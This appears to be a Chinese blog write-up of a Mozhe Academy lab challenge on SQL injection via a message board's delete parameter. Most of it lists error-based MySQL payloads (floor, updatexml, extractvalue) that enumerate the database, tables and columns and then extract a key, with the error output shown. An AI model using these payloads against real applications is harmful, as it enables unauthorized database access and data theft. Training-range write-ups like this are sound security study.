【墨者学院】SQL注入漏洞测试(delete注入)

背景介绍

最近有人匿名给工程师留言说,感谢他的辛勤付出,把墨者学院建设的这么好,不料激发了工程师对留言板的一波操作,轻松查到了这个人的身份。

实训目标

1、熟练掌握留言板的工作原理;
2、善用burp抓取数据包;

解题方向

抓取数据包加以分析。
靶场

1、判断注入类型

在?Id=62后面输入单引号报错,初步判定存在报错型注入,报错型注入的方法大概有10种左右,这里分别使用floor、updatexml和extractvalue三种方法。其他的exp、multipoint貌似不太行。

2、获取当前数据库信息
and (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)
==============================================================================
and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
==============================================================================
and (extractvalue(1, concat(0x5c,(select database()))))
==============================================================================

得到数据库为“pikaqiu”
XPATH syntax error: ‘\pikaqiu’

3、获取数据库中表
and (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='
pikaqiu'),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)
==============================================================================
and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikaqiu'),0x7e),1))
==============================================================================
and (extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema='pikaqiu'))))

XPATH syntax error: ‘\message’
得到“message”表

4、获取表中列信息
and (select 1 from(select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='message' limit 3,1),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)
==============================================================================
and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='message' limit 3,1),0x7e),1))
==============================================================================
and (extractvalue(1, concat(0x5c,(select column_name from information_schema.columns where table_name='message' limit 3,1))))

调整limit第一位数字得到列:“id”“content”“key” "time“
XPATH syntax error: ‘\key’

5、获取key值
and (select 1 from(select count(*),concat(0x3a,0x3a,(SELECT concat_ws(':', `key`) FROM message limit 0,1)),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)
==============================================================================
and (updatexml(1,concat(0x7e,(SELECT concat_ws(':', `key`) FROM message limit 0,1),0x7e),1))
==============================================================================
and extractvalue(1,concat(0x5c,(SELECT concat_ws(':', `key`) FROM message limit 0,1)))
==============================================================================

得到key值:
XPATH syntax error: ‘\mozheb18e10d2fbffaffbb315bf22d2’

6、总结

总结:在获取key值的时候使用floor方法无法获取到,不知道是啥原因,另外两种方法在concat_ws()里面必须添加‘:’字段,不明白为什么。

另外:
sqlmap是跑不出来key值的。。。
sqlmap是跑不出来key值的。。。
sqlmap是跑不出来key值的。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值